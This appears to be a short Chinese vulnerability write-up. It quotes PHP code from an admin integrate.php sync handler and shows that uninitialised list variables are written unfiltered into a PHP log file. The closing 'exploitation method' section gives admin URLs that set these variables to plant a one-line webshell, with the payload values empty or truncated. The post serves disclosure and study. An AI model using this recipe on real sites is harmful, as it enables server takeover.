我要评论integrate.php第740行起：
复制代码
代码如下:if ($_request['act'] == 'sync')
{
$size = 100;
......
$tasks = array();
if ($task_del > 0)
{
$tasks[] = array('task_name'=>sprintf($_lang['task_del'], $task_del),'task_status'=>'' . $_lang['task_uncomplete'] . '');
$sql = "select user_name from " . $ecs->table('users') . " where flag = 2";
$del_list = $db->getcol($sql);//$del_list未初始化
}
if ($task_rename > 0)
{
$tasks[] = array('task_name'=>sprintf($_lang['task_rename'], $task_rename),'task_status'=>'' . $_lang['task_uncomplete'] . '');
$sql = "select user_name, alias from " . $ecs->table('users') . " where flag = 3";
$rename_list = $db->getall($sql);//$rename_list未初始化
}
if ($task_ignore >0)
{
$sql = "select user_name from " . $ecs->table('users') . " where flag = 4";
$ignore_list = $db->getcol($sql);//$ignore_list未初始化
}
......
/* 保存修改日志 */
$fp = @fopen(root_path . data_dir . '/integrate_' . $_session['code'] . '_log.php', 'wb');
$log = '';
if (isset($del_list))
{
$log .= '$del_list=' . var_export($del_list,true) . ';';
}
if (isset($rename_list))
{
$log .= '$rename_list=' . var_export($rename_list, true) . ';';
}
if (isset($ignore_list))
{
$log .= '$ignore_list=' . var_export($ignore_list, true) . ';';
}
//未做过滤，直接写log
fwrite($fp, $log);
fclose($fp);
$smarty->assign('tasks', $tasks);
$smarty->assign('ur_here',$_lang['user_sync']);
$smarty->assign('size', $size);
$smarty->display('integrates_sync.htm');
}
$del_list、$rename_list、$ignore_list均没有初始化，于是，均可以直接写shell。
利用方法：
http://www.oldjun.com/admin/integrate.php?act=sync&del_list=
http://www.oldjun.com/admin/inte ... nc&rename_list=
http://www.oldjun.com/admin/inte ... nc&ignore_list=
三个链接，随便输入一个就可以了，生成http://www.oldjun.com/data/integrate__log.php，就是一句话小马了~
发表评论